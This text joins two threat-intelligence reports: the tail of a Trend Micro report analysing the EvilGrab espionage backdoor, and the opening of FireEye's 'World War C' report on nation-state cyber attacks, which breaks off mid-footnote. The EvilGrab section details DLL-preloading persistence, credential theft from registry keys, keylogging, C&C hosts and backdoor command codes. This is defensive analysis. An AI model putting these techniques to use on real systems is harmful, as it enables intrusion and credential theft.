MILITARY ONLINE MEDIA 89 7 3 1 1 4 2 3 5 China Japan South Africa Thailand Canada Others 1 2 3 4 5 36 18 3 2 2 39 Trend Micro 2Q Report on Targeted Attack Campaigns 9 Attack Vectors Research indicates that EvilGrab is primarily distributed through spear-phishing emails with malicious attachments that exploit various vulnerabilities to run malicious code. Among the attachment types are: Microsoft Excel spreadsheets (CVE-2012-0158 and CVE-2012-2543) PDFs (CVE-2013-0640) Microsoft Word documents (CVE-2012-0158) A .RAR file with a folder named thumbs.db was also seen containing malicious code. By using this name, the intention was to disguise itself as the Windows thumbnail cache. A shortcut file (.LNK) was also seen in the .RAR file, which used a folder icon to make users believe it was another folder. In reality, running the .LNK file executes the malware. In addition, the .RAR file contains a desktop.ini file in order to change the thumbs.db folder icon into the icon of the Windows thumbnail cache. Exploits, Payloads, and Decoy Documents The EvilGrab campaigns use of exploits, payloads, and decoy documents is similar to the Taidoor campaign in 2012.2 The primary difference is that EvilGrab variants have multiple layers of shellcode. In addition, some variants copy the file name and use it as the decoy document file name. Other variants overwrite the exploit document with the contents of the decoy document. As noted above, some variants also use disguised folders and shortcuts and do not use exploits to run their code. DLL Preloading Using the Windows Shell and Fax Server DLL preloading is a vulnerability that has been documented for over three years.3 The EvilGrab campaign makes use of this vulnerability for its AutoRun routine. Whenever it is run, the Windows shell (explorer.exe) loads a component of the fax server in Windows, fxsst.dll. This is normally located in the System32 folder. Whenever an instance of explorer.exe is launched (i.e., at every system startup), the system searches for the said .DLL file and loads it. EvilGrab drops one of its .DLL components in the Windows folder, where explorer. exe is also located. The malicious .DLL (also named fxsst.dll) is loaded instead of the legitimate copy. It also serves as the loader of the main backdoor. http://web.nvd.nist.gov/view/vuln/detail3FvulnId3DCVE-2012-0158 http://web.nvd.nist.gov/view/vuln/detail3FvulnId3DCVE-2012-2543 http://web.nvd.nist.gov/view/vuln/detail3FvulnId3DCVE-2013-0640 http://web.nvd.nist.gov/view/vuln/detail3FvulnId3DCVE-2012-0158 Trend Micro 2Q Report on Targeted Attack Campaigns 10 While DLL preloading has been used by other malware in the past, it is less common to see it specifically target explorer.exe. Other malware families that use this vulnerability typically target executable files outside of Windows EvilGrab targets a part of Windows itself. Other Autorun Behaviors In addition to the above behavior, EvilGrab also creates the following registry entry to enable its automatic execution at every system startup: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run UKey Application Data\360\Live360.exe The file Application Data\360\Live360.exe is a copy of one of the malware components. It also creates a shortcut under the Startup folder in the Start menu: IEChecker.lnk Target: UserProfile\IEChecker.exe L Icon: Full path of Iexplorer.exe (This uses the Internet Explorer icon and disguise itself as part of Internet Explorer.) The above file is also a copy of one of the malicious components. Stealth Operation EvilGrab has three primary components: one .EXE file and two .DLL files. The .EXE file acts as the installer for all of the EvilGrab components. One of the .DLL files serves as a loader for the other .DLL file, which is the main backdoor component. Some variants of EvilGrab delete the .EXE file after installation to cover its tracks more effectively. As noted earlier, the loader file is named fxsst.dll. However, examination of its header states that its actual file name is supposed to be svchost.dll. These components are also encrypted and saved in the registry. To add stealth to its backdoor routines, it uses a legitimate process contexts memory space to inject the main backdoor. Trend Micro 2Q Report on Targeted Attack Campaigns 11 By default, this backdoor injects itself into the svchost.exe or winlogon.exe process. It also checks if certain processes related to certain security products are running on the affected system. The specific processes targeted are: avp.exe klwtblfs.exe starter.exe wmifw.exe Other variants of this malware also check if other security products are present. It is not clear why EvilGrab specifically targets these products. However, it is possible that the attackers determined that targets for this campaign are likely running these products. Registry Storage EvilGrab stores its components in the following registry entries: HKCU\Software\rar and/or HKLM\SOFTWARE\rar data Encrypted copy of the main backdoor DLL s Encrypted copy of the loader DLL e Encrypted string which points to the full path of the installer EXE Media Grabbing To capture video, EvilGrab creates a capture window with the class name of ESET. It uses the Sample Grabber filter (part of the DirectShow technology in Windows) to directly perform grabbing.4 It also uses Wave APIs to capture audio.5 User Credential Theft EvilGrab steals user credentials related to the following applications and/or protocols: HTTP HTTPMail IMAP Internet Explorer (IE) Microsoft Outlook Trend Micro 2Q Report on Targeted Attack Campaigns 12 MSN POP3 Protected Storage SMTP Windows Messaging EvilGrab steals these credentials by parsing the following registry keys: HKCU\Software\Microsoft\Windows NT\CurrentVersion\ WindowsMessagingSubsystem\Profiles HKCU\Software\Microsoft\WindowsMessagingSubsystem\Profiles HKCU\Software\Microsoft\Internet Account Manager\Accounts HKCU\Software\Microsoft\Office\Outlook\ OMI Account Manager\Accounts It queries the above keys for related values that correspond to the applications and protocols listed earlier. The values are then decrypted using the system library pstorec.dll. It also steals login credential from IE autocomplete entries. It does this by first parsing the index.dat files in the IE History folder. It then collects autocomplete entries from the following registry key: HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 It then initiates a brute force attack on encrypted credentials using the CryptUnprotectData API. However, it will only try to steal passwords from IEs password-protected sites and MSN Explorer Signup if kav.exe (related to a security product) is not running in the system. Trend Micro 2Q Report on Targeted Attack Campaigns 13 Tencent QQ Memory Reading If the active window is Tencent QQ (specifically, QQ2009 through QQ2012), EvilGrab will attempt to steal information by directly reading the processs memory and checking if the class name of the focused window is not named EDIT. The contents of the processs memory are then saved onto the systems hard drive as UserProfile\users.bin. It is then sent back to the backdoors CC server. The file on the hard drive is encrypted specifically, the data is XORed with the key 0x66. Key Logging EvilGrab also possesses keylogging capabilities. The logged keystrokes are then sent back to the CC and saved to User Profile\users.bin. The file on the hard drive is encrypted specifically, the data is XORed with the key 0x66. Trend Micro 2Q Report on Targeted Attack Campaigns 14 Command Control Servers Each backdoor has one to three CC servers in its code. Some of CC servers that we have seen from our accumulated data are as follows: 112.121.182.150 113.10.246.46 113.10.190.55 202.130.112.231 micoosofts.com qtds1979 .3322. org qtds1979.gicp.net server1. micoosofts. com sxl1979. gicp. net webmonder. gicp. net webposter. gicp. net www . yahooip . net www . yahooprotect . com www . yahooprotect . net yacooll . com yahooip . net yahooprotect . com Trend Micro 2Q Report on Targeted Attack Campaigns 15 Backdoor Activity To start its connection to its CC server, the backdoor component will first send 5-bytes (\x01\x00\x00\x00\x33). The CC will reply if it accepts the connection. The backdoor then replies with a beacon message, the contents of which are as follows: Description Sample value (referring to sample packet illustrated below) Size of internal buffer d xFFC (4092) Hardcoded 0xA0 c xA0 Backdoor identifier 1 s RB0318 Host IP s 111.222.123.132 Host port d 432 (1074.) OS version s OSVERSION Hostname s HOSTNAME User name s USERNAME Camera device detected s No Date time s 0000 Presence of removable drive s No Backdoor identifier 2 s V2010-v24 Process ID of the process where the backdoor is injected d 21C (540.) Hardcoded 0x00 d 0 Trend Micro 2Q Report on Targeted Attack Campaigns 16 Either backdoor identifier 1 or backdoor identifier 2 acts as the campaign code or marker for EvilGrab campaigns, which is recognizable by the CC server and/or attacker. Some of the identifiers we saw in backdoor identifier 1 are: 006 007 0401 072002 3k-Ja-0606 3k-jp01 4k-lyt25 88j e-0924 LJ0626 RB0318 Some of the identifiers seen in our accumulated data in backdoor identifier 2 are as follows: V2010-v16 V2010-v24 We noted a correlation between the MZ/PE headers of variants and the strings in backdoor identifier 2. Variants with a V2010-v24 identifier have a proper MZ/PE header variants with a V2010-v16 header have portions of their header overwritten with JPEG strings. These variants require a loader component to load them into memory in order to be executed. Trend Micro 2Q Report on Targeted Attack Campaigns 17 Below is a sample packet sent at the beginning of the connection: EvilGrab variants possess a wide variety of possible backdoor commands. The table below lists its possible commands: Command code Description x82 Enumerate drives and their drive types x83 File listing with files last modification date, file attribute and file size x85 Execute downloaded file x86 Set file pointer of specific file x87 Close file handles x88 Load .DLL x89 Create directory x8A Delete file x8B Delete directory tree x8C Get file time stamps of a specific file x8E Either runs an executable, loads a DLL or open a file x8F Move/Rename a file x90 Steal login credentials Code snapshot Trend Micro 2Q Report on Targeted Attack Campaigns 18 Command code Description x92 Create remote shell x93 Write to file x94 Close thread that created remote shell x99 Send message to a certain window x9A - x9B Related to change a specific windows show state x9C Change window text of certain window x9D, x9F Synthesize key strokes (i.e. right menu, shift) xB0 Triggers sending of accumulated stolen information xB1 Modify registry entry value xB2 Delete a value from registry xB4 Modify registry xB5 Create registry entry xB7 Delete registry key xB9 Get service listing info (service name, service type, service status, service setting) xBA Change service status xBB Change optional parameters of certain services xBC Create service Trend Micro 2Q Report on Targeted Attack Campaigns 19 Command code Description xBD Get TCP UDP network connections xBE Get process listing xBF Terminate process xC0 Get CPU info, Windows and System32 folder, hostname, user name, clipboard contents xC1 Delete its files and registries from the system (uninstall itself) xE2- xE3 Related to stealing desktop screenshots xE5 Get desktop screenshot xE6 Get file listing xE9 Connect to other network xEB Set mouse event xEC Start capture window for media grabbing xEE Media capture related xF0 Start audio recording xF2 Search for certain files and steal file content Trend Micro 2Q Report on Targeted Attack Campaigns 20 This captured packet shows sample backdoor commands and replies: Backdoor command xC0: Get CPU info, Windows and System32 folder, hostname, user name and clipboard content Backdoor command x82: Get drive listings and types These capabilities can be used for both lateral movement within a compromised organization and to steal information. EvilGrab steals internal user names and passwords as well as logs keystrokes. Credentials stolen this way can be used to move within the confines of the organizations network. EvilGrab possesses a wide variety of information theft capabilities. It can grab audio and video files directly from devices attached on the system (i.e. microphone and camera). In addition, EvilGrab can upload files from the affected system to remote servers. EvilGrab possesses a full range of capabilities that is expected in malware used in targeted attacks against organizations. Trend Micro 2Q Report on Targeted Attack Campaigns 21 Trend Micro Recommendations Targeted attacks pose a challenge to traditional signature-based security solutions. To deal with these type of threats, employ solutions that include network monitoring to detect and analyze incoming threats, as well as any outgoing communication with attacking parties. Products like Trend Micro Deep Discovery are capable of mitigating the risks from these threats. One component of Deep Discovery, the Deep Discovery Inspector, provides network threat detection, custom sandboxing, and real-time analysis and reporting. The second component, Deep Discovery Advisor, provides sandbox analysis of known and unknown threats that augments the capabilities of existing products like endpoint solution and email/web gateways. It also provides visibility to network-wide security events. The capabilities provided by solutions like Deep Discovery are necessary to provide a unified, comprehensive view of the threats an organization faces. This information can then be used by an organization to create appropriate and proportional responses to properly protect an organizations network. Trend Micro 2Q Report on Targeted Attack Campaigns 22 References 1 Sancho, David Dela Torre, Jessa Bakuei, Matsukawa Villeneuve, Nart and McArdle, Robert. ( 2013). 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IXESHE: An APT Campaign. Last accesed August 30, 2013. http://www.trendmicro. com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf 2 Trend Micro Incorporated. ( 2013). Trend Micro Incorporated Research Paper The Taidoor Campaign: An In-Depth Analysis. Last accessed August 30, 2013. http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/ white-papers/wp_the_taidoor_campaign.pdf 3 Security TechCenter. ( November 13, 2012). Microsoft Security Advisory. Microsoft Security Advisory (2269637): Insecure Library Loading Could Allow Remote Code Execution Last accessed August 30, 2013. http://technet. microsoft.com/en-us/security/advisory/2269637 4 Microsoft. ( 2013). Windows Dev Center - Desktop. Using the Sample Grabber. Last accessed August 30, 2013. http://msdn.microsoft.com/en-us/library/windows/desktop/dd407288(vvs.85).aspx 5 Microsoft. ( 2013). Developer Network. Recording and Playing Sound with the Waveform Audio Interface. Last accessed August 30, 2013. http://msdn.microsoft.com/en-us/library/aa446573.aspxwaveinout_topic_006 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf http://technet.microsoft.com/en-us/security/advisory/2269637 http://technet.microsoft.com/en-us/security/advisory/2269637 http://msdn.microsoft.com/en-us/library/windows/desktop/dd40728828v3Dvs.8529.aspx http://msdn.microsoft.com/en-us/library/aa446573.aspx23waveinout_topic_006 Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro Smart Protection Network, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com. 2013 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. 10101 N. De Anza Blvd. Cupertino, CA 95014 U.S. toll free: 1 800.228.5651 Phone: 1 408.257.1500 Fax: 1 408.257.2003 http://www.trendmicro.com/us/index.html Introduction Campaigns Observed in 2Q Targeted Attack Campaigns Profiling Affected Industry Sectors Affected Regions Attachments Used In Targeted Attacks CC Statistics Feature: EvilGrab Campaign Targets Diplomatic Agencies Targets Attack Vectors Exploits, Payloads, and Decoy Documents DLL Preloading Using the Windows Shell and Fax Server Other Autorun Behaviors Stealth Operation Registry Storage Media Grabbing User Credential Theft Tencent QQ Memory Reading: Key Logging Command Control Servers Backdoor Activity Trend Micro Recommendations References World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks FireEye Labs Authors: Kenneth Geers, Darien Kindlund, Ned Moran, Rob Rachwald FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 1 Contents Executive Summary 2 Introduction 3 A Word of Warning 4 The FireEye Perspective 4 Asia-Pacific 5 Russia/Eastern Europe 11 Middle East 13 The West 17 Conclusion 20 About FireEye 21 FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 2 Executive Summary Cyberspace has become a full-blown war zone as governments across the globe clash for digital supremacy in a new, mostly invisible theater of operations. Once limited to opportunistic criminals, cyber attacks are becoming a key weapon for governments seeking to defend national sovereignty and project national power. From strategic cyber espionage campaigns, such as Moonlight Maze and Titan Rain, to the destructive, such as military cyber strikes on Georgia and Iran, human and international conflicts are entering a new phase in their long histories. In this shadowy battlefield, victories are fought with bits instead of bullets, malware instead of militias, and botnets instead of bombs. These covert assaults are largely unseen by the public. Unlike the wars of yesteryear, this cyber war produces no dramatic images of exploding warheads, crumbled buildings, or fleeing civilians. But the list of casualtieswhich already includes some of the biggest names in technology, financial services, defense, and government is growing larger by the day. A cyber attack is best understood not as an end in itself, but as a potentially powerful means to a wide variety of political, military, and economic goals. Serious cyber attacks are unlikely to be motiveless, said Martin Libicki, Senior Scientist at RAND Corp. Countries carry them out to achieve certain ends, which tend to reflect their broader strategic goals. The relationship between the means chosen and their goals will look rational and reasonable to them if not necessarily to us. Just as each country has a unique political system, history, and culture, state-sponsored attacks also have distinctive characteristics, which include everything from motivation to target to type of attack. This report describes the unique characteristics of cyber attack campaigns waged by governments worldwide. We hope that, armed with this knowledge, security professionals can better identify their attackers and tailor their defenses accordingly. Here is a quick overview: Asia-Pacific. Home to large, bureaucratic hacker groups such as the Comment Crew who pursue many goals and targets in high-frequency, brute-force attacks. Russia/Eastern Europe. These cyber attacks are more technically advanced and highly effective at evading detection. Middle East. These hackers are dynamic, often using creativity, deception, and social engineering to trick users into compromising their own computers. United States. The most complex, targeted, and rigorously engineered cyber attack campaigns to date. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 3 Introduction World War Za bestselling book and Hollywood moviedetailed a global pandemic in which politics and culture deeply influenced how the publicand by extension, governmentsreacted to a zombie plague. In one passage, for example, an Arab boy refused to believe that the disease was real, suspecting that Israel had fabricated the story. The nations described in World War Zthe United States, China, Russia, South Korea, Israel, and many othersare involved in a very different type of conflict, but one with real and growing national security impact: World War C, where C stands for Cyber. However, the same rule applies: each country has a unique political system, history, language, culture, and understanding of human and international conflict. Cyber conflict often mirrors traditional conflict. For example, China uses high-volume cyber attacks similar to how it used infantry during the Korean War. Many Chinese soldiers were sent into battle with only a handful of bullets. Given their strength in numbers, they were still able to achieve battlefield victories. On the other end of the spectrum lie Russia, the U.S., and Israel, whose cyber tactics are more surgical, reliant on advanced technologies and the cutting-edge work of contractors who are driven by competition and financial incentives. We are still at the dawn of the Internet Age. But cyber attacks have already proven themselves as a low-cost, high-payoff way to defend national sovereignty and to project national power. Many of todays headlines seem to be pulled from the pages of a science fiction novel. Code so sophisticated it destroys a nuclear centrifuge thousands of miles away. Malware that secretly records everything a user does on a computer. A software program that steals data from any nearby device that has Bluetooth connectivity. Encrypted code that decrypts only on one specific, target device. Such sophistication speaks volumes about the maturity, size, and resources of the organizations behind these attacks. With a few rare exceptions, these attacks are now in the exclusive realm of nation-states. The international community has developed a solid understanding of cyber technology, said Prof. Michael N. Schmitt of the U.S. Naval War College, in an email interview. What is missing is a grasp of the geopolitical context in which such technology operates. Attribution determinations made without sensitivity to the geopolitical surroundings are seldom reasonable. World War C, like any analogy, has its limits. Cyber war has been compared to special operations forces, submarine warfare, missiles, assassins, nuclear weapons, Pearl Harbor, 9/11, Katrina, and more. Even our zombie analogy is not new. Often, any compromised computer, if it is actively under the surreptitious control of a cybercriminal, is called a zombie, and botnets are sometimes called zombie armies. Also, compared to stockpiling tanks and artillery, writing cyber attack code, and compromising thousands if not millions of computers, is easy. Moreover, malware often spreads with the exponential growth of an infectious disease. This report examines many publicly known cyber attacks. By exploring some of the distinctive national or regional characteristics of these attacks, organizations can better identify their attackers, anticipate future attacks, and defend themselves. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 4 A Word of Warning The analytical waters surrounding cyber warfare are inherently murky. At the strategic level, governments desire to have a degree of plausible deniability. At the tactical level, military and intelligence organizations envelop such operations in layers of classification and secrecy. To be effective, information operations rely on deceptionand the Internet offers an ideal venue for a spys smoke and mirrors. In practical terms, hackers often run their attacks through cyber terrain (such as compromised, third-party networks) that present investigators with technical and jurisdictional complications. And finally, cybercriminal tools, tactics, and procedures (TTPs) evolve so quickly that cyber defense, legislation, and law enforcement remain behind the attackers curve. The biggest challenge to deterring, defending against, or retaliating for cyber attacks is the problem of correctly identifying the perpetrator, said Prof. John Arquilla, Naval Postgraduate School in an email interview with FireEye. Ballistic missiles come with return addresses. But computer viruses, worms, and denial of service attacks often emanate from behind a veil of anonymity. The best chance to pierce this veil comes with the skillful blending of forensic back-hacking techniques with deep knowledge of others strategic cultures and their geopolitical aims. Cyber attributionidentifying a likely culprit, whether an individual, organization, or nation-stateis notoriously difficult, especially for any single attack. States are often mistakenly identified as non-state actors, and vice versa. To make matters worse, ties between the two are increasing. First, a growing number of patriotic cybercriminals ostensibly wage cyber war on behalf of governments (examples include Chechnya and Kosovo in the 1990s, China in 2001, Estonia in 2007, Georgia in 2008, and every year in the Middle East).1 Second, cybercrime organizations offer anyone, including governments, cyber attack services to include denial-of-service attacks and access to previously compromised networks. FireEye researchers have even seen one nation-state develop and use a sophisticated Trojan, and later (after its own counter-Trojan defenses were in place) sell it to cybercriminals on the black market. Thus, some cyber attack campaigns may bear the hallmarks of both state and non-state actors, making positive attribution almost impossible. And finally, false flag cyber operations involve a hacker group behaving like another to mislead cyber defense researchers. The FireEye Perspective Within the shadowy world of cyber warfare, FireEye occupies a unique position. First, our threat protection platform has been installed on thousands of sensitive networks around the world. This gives our researchers a global and embedded presence in the cyber domain. Second, FireEye devices are placed behind traditional security defenses such as firewalls, anti-virus, and intrusion prevention systems. This means that our false positive rate is extremely low, and that the attacks we detect have already succeeded in penetrating external network defenses. 1 Geers K. (2008) Cyberspace and the Changing Nature of Warfare, Hakin9 E-Book, 19(3) No. 6 SC Magazine (27 AUG 08) 1-12. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 5 Asia-Pacific Chinathe elephant in the room The Peoples Republic of China is the noisiest threat actor in cyberspace. The reasons for this include its huge population, a rapidly expanding economy, and a lack of good mitigation strategies on the part of its targets. Chinese attacks on the U.S. The list of successful Chinese compromises is long, and spans the entire globe. Here are some of the most significant incidents in the U.S.: Government: By 1999, the U.S. Department of Energy believed that China posed an acute threat to U.S. nuclear security via cyber espionage.2 By 2009, China apparently stole the plans for the most advanced U.S. fighter jet, the F-35.3 Technology: China hacked Google, Intel, Adobe, and RSAs SecureID authentication technology with which it then targeted Lockheed Martin, Northrop Grumman, and L-3 Communications.4 Business and Financial Services: Morgan Stanley, the U.S. Chamber of Commerce, and numerous banks have been hacked.5 Media: The New York Times, Wall Street Journal, Washington Post, and more have been targeted by advanced, persistent cyber attacks emanating from China.6 Critical Infrastructure: Department of Homeland Security (DHS) reported in 2013 that 23 gas pipeline companies were hacked (possibly for sabotage),7 and that Chinese hackers were seen at the U.S. Army Corps of Engineers National Inventory of Dams.8 Some of these cyber attacks have given China access to proprietary information such as research and development data. Others offer Chinese intelligence access to sensitive communications, from senior government officials to Chinese political dissidents. 2 Gerth, J. Risen, J. (2 May 1999) 1998 Report Told of Lab Breaches and China Threat, The New York Times. 3 Gorman, S., Cole, A. Dreazen, Y. (21 Apr 2009) Computer Spies Breach Fighter-Jet Project, The Wall Street Journal. 4 Gross, M.J. (1 Sep 2011) Enter the Cyber-dragon, Vanity Fair. 5 Gorman, S. (21 Dec 2011) China Hackers Hit U.S. Chamber, Wall Street Journal and Ibid. 6 Perlroth, N. (1 Feb 2013) Washington Post Joins List of News Media Hacked by the Chinese, and Wall Street Journal Announces That It, Too, Was Hacked by the Chinese, The New York Times. 7 Clayton, M. (27 Feb 2013) Exclusive: Cyberattack leaves natural gas pipelines vulnerable to sabotage, The Christian Science Monitor. 8 Gertz, B. (1 May 2013) Dam Sensitive Army database of U.S. dams compromised Chinese hackers suspected, The Washington Times. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 6 Chinese attacks outside the U.S. Of course, the U.S. is not Chinas only cyber target. All traditional, geopolitical conflicts have moved into cyberspace, and Chinese compromises encompass the entire globe. But many contests have been one-sided affairs, with all publicly known attacks emanating from China. Europe: In 2006, Chinese cybercriminals targeted the UK House of Commons9 in 2007, German Chancellor Angela Merkel raised the problem of nation-state hacking with Chinas President10 in 2010, British MI5 warned that undercover Chinese intelligence officers had given UK business executives malware-laden digital cameras and memory sticks.11 India: Indian officials worry that China could disrupt their computer networks during a conflict. One expert confided that an exclusive reliance on Chinese hardware might give China a permanent denial-of-service capability.12 One sophisticated attack on an Indian Navy headquarters allegedly used a USB vector to bridge the air-gap between a compartmentalized, standalone network and the Internet.13 South Korea: The South Korean government has complained for years of Chinese activity on its official computers, including a 2010 compromise of the personal computers and PDAs belonging to much of South Koreas government power structure14 and a 2011 assault on an Internet portal that held personal information for 35 million Koreans.15 Japan: Here, the target list includes government, military, and high-tech networks. Chinese cybercriminals have even stolen classified documents.16 9 Warren, P. (18 Jan 2006) Smash and grab, the hi-tech way, The Guardian. 10 Espionage Report: Merkels China Visit Marred by Hacking Allegations, (27 Aug 2007) Spiegel. 11 Leppard, D. (31 Jan 2010) China bugs and burgles Britain, The Sunday Times. 12 Exclusive cyber threat-related discussions with FireEye researchers. 13 Pubby, M. (01 Jul 2012) China hackers enter Navy computers, plant bug to extract sensitive data, The Indian Express. 14 Ungerleider, N. (19 Oct 2010) South Koreas Power Structure Hacked, Digital Trail Leads to China. Fast Company. 15 Mick, J. (28 Jul 2011) Chinese Hackers Score Heist of 35 Million South Koreans Personal Info, Daily Tech. 16 McCurry, J. (20 Sep 2011) Japan anxious over defence data as China denies hacking weapons maker, The Guardian and China-based servers in Japan cyber attacks, (28 Oct 2011) The Indian Express. CHINA FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 7 Australia: China allegedly stole the blueprints for the Australian Security Intelligence Organizations new 631 million building.17 Worldwide: In 2009, Canadian researchers discovered that China controlled a worldwide cyber espionage network in over 100 countries.18 In 2010, a Chinese telecommunications firm transmitted erroneous routing information for 37,000 computer networks, which misrouted some Internet traffic through China for 20 minutes. The attack exposed data from 8,000 U.S. networks, 1,100 Australian networks, and 230 French networks.19 Chinese cyber tactics The Peoples Republic of China (PRC) is home to 1.35 billion people, or more than four times the population of the United States. Therefore, China often has the ability to overwhelm cyber defenses with quantity over quality, just as it did in the Korean War and as it might do in any other type of conflict. The Chinese malware that FireEye researchers have analyzed is not the most advanced or creative. But in many circumstances, it has been no less effective. China employs brute-force attacks that are often the most inexpensive way to accomplish its objectives. The attacks succeed due to the sheer volume of attacks, the prevalence and persistence of vulnerabilities in modern networks, and a seeming indifference on the part of the cybercriminals to being caught. Reconnaissance Mailing Lists, Previous Watering Hole Intel, Crawling, Mining Social Networks Weaponization Masked EXEs to Appear Non-Executable File Formats, Malicious Non-EXE File Formats, Watering Hole Attacks Delivery Strategic Web Compromises, Spear phish URLs in Email, Weaponized Email Attachments, Webserver compromise via scanning Exploitation 0-Day Browser / Application Vulnerabilities, Social Engineering Installation Feature Rich, Compact RATs with Minimal Evasion Capabilities (Requires Operator For Lateral Movement) Command and Control (C2) HTTP with Embedded, Standard Encodings (e.g., XOR), along with Custom Encodings Actions on Objectives Intelligence Gathering / Economic Espionage, Persistent Access TTP Exemplars Comment Group 17 Report: Plans for Australia spy HQ hacked by China, (28 May 2013) Associated Press. 18 Tracking GhostNet: Investigating a Cyber Espionage Network (29 March 2009) Information Warfare Monitor. 19 Vijayan, J. (18 Nov 2010) Update: Report sounds alarm on Chinas rerouting of U.S. Internet traffic, Computerworld. Table 1: Characteristics of Chinese cyber attacks FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 8 The Comment Crew,20 a prominent example of a Chinese cyber threat actor, is believed to be a contractor to the PRC government. The Comment Crew is behind many noteworthy attacks, including Operation Beebus, which targets U.S. aerospace and defense industries.21 One important characteristic of the Comment Crewwhich puts it definitively in the category of an advanced persistent threat, or APTis that it is a bureaucracy. In-depth analysis reveals a small group of creative and strategic thinkers at the top. One layer down, a larger group of specialists design and produce malware in an industrial fashion. At the bottom are the foot soldiersbrute-force hackers who execute orders and wage extended cyber attack campaigns, from network reconnaissance to spear phishing to data exfiltration. The Comment Crew is so large, in fact, that when the Federal Bureau of Investigation (FBI) decoded one of the groups stolen caches of information, if printed out, it would have created a stack of paper taller than a set of encyclopedias.22 Such a large bureaucracy helps to explain sometimes-incongruous cybercriminal behavior. A given piece of malware, for example, may have been written by an expert but incorrectly used later by an inexperienced foot soldier (such as a poorly written spear phishing email). Understanding this cyber attack life cycle and its different stages can help cyber defenders recognize and foil an attack. In any large organization, some processes are less mature than others, and therefore easier to recognize. Chinese cyber defense In its own defense, Chinese officials contend that their country is also a target of cyber attacks. In 2006, the China Aerospace Science Industry Corporation (CASIC) found spyware on its classified network.23 In 2007, the Chinese Ministry of State Security stated that foreign cybercriminals were stealing Chinese information, with 42 percent of attacks coming from Taiwan and 25 percent from the United States.24 In 2009, Chinese Prime Minister Wen Jiabao announced that a cybercriminal from Taiwan had stolen his upcoming report to the National Peoples Congress.25 In 2013, Edward Snowden, a former system administrator at the National Security Agency (NSA), published documents suggesting that the U.S. conducted cyber espionage against China26 and the Chinese Computer Emergency Response Team (CERT) stated that it possessed mountains of data on cyber attacks by the U.S.27 20 Sanger, D., Barboza, D. Perlroth, N. (18 Feb 2013) Chinese Army Unit is seen as tied to Hacking against U.S. The New York Times. 21 Pidathala, V., Kindlund, D. Haq, T. (1 Feb 2013) Operation Beebus, FireEye. 22 Riley, M. Lawrence, D. (26 Jul 2012) Hackers Linked to Chinas Army Seen From EU to D.C., Bloomberg. 23 Significant Cyber Incidents Since 2006, Center for Strategic and International Studies. 24 Ibid. 25 Ibid. 26 Rapoza, K. (22 June 2013) U.S. Hacked China Universities, Mobile Phones, Snowden Tells China Press, Forbes. 27 Hille, K. (5 Jun 2013) China claims mountains of data on cyber attacks by US, Financial Times. FireEye, Inc. World War C: Understanding Nation-State Motives Behind Todays Advanced Cyber Attacks 9 North Koreathe upstart North and South Korea remain locked in one of the most intractable conflicts on Earth. North Korea (supported by China) would seem to be stuck in a cyber Stone Ageespecially relative to South Korea (supported by the U.S.)has the fastest download speeds in the world28 and will issue its students with computer tablets instead of books by 2015.29 Even so, the Internet offers anyone, and any nation, an asymmetric way to gather intelligence and project national power in cyberspaceand North Korea appears to have acquired cyber attacks as a new weapon for its arsenal. In 2009, North Korea launched its first major assault on South Korean and U.S. government websites. The attack did little damage, but the incident gained wide media exposure.30 By 2013, however, the threat actors had matured. A group dubbed the DarkSeoul Gang was responsible for at least four years of high-profile attacks on South Korea. The groups attacks included a distributed denial-of-service (DDoS) attack and malicious code that wiped computer hard drives at banks, media, ISPs, telcos, and financial services companiesoverwriting legitimate data with political messages. In the Korean conflict, such incidents often take place on dates of historical significance, including July 4, the U.S. Independence Day.31 Suspected North Korean attacks on U.S. institutions include U.S. military elements based in South Korea, the U.S.-based Committee for Human Rights in North Korea, and even the White House. North Korean defectors have described a burgeoning cyberwarfare department of 3,000 personnel, largely trained in China and Russia. The defectors stressed that North Korea has a growing fascinationwith cyber attacks as a cost-effective way to compete against its conventionally superior foes. They believe that North Korea is growing increasingly comfortable and confident in this new warfare domain, assessing that the Internet is not only vulnerable to attack but that this strategy can create psychological pressure on the West. Toward this end, North Korea has focused on disconnecting its important servers from the Internet, while building a dedicated attack network.32 FireEye researchers have seen a heavy use of spear phishing and the construction of a watering hole, in which an important website is hacked in the hope of compromising the computers of its subsequent visitors, who usually belong to a certain VIP-profile the attacker is targeting. Some North Korean attacks have begun to manipulate a victims operating system settings and disable their anti-virus software techniques that are normally characteristic of Russian cybercriminals. In other words, North Korean hackers may have learned from or have contracted support in Russia. Apart from any possible disruption or destruction stemming from cyber attacks, computer network operations are an invaluable tool for collecting sensitive information, especially when it resides on government or think-tank networks normally inaccessible from the Internet. North Korea, China, and Russia are all naturally interested in collecting cyber intelligence that would increase their comparative advantage in classified information, diplomatic negotiating positions, or future policy changes. 28 McDonald, M. (21 Feb 2011) Home Internet May Get Even Faster in South Korea, The New York Times. 29 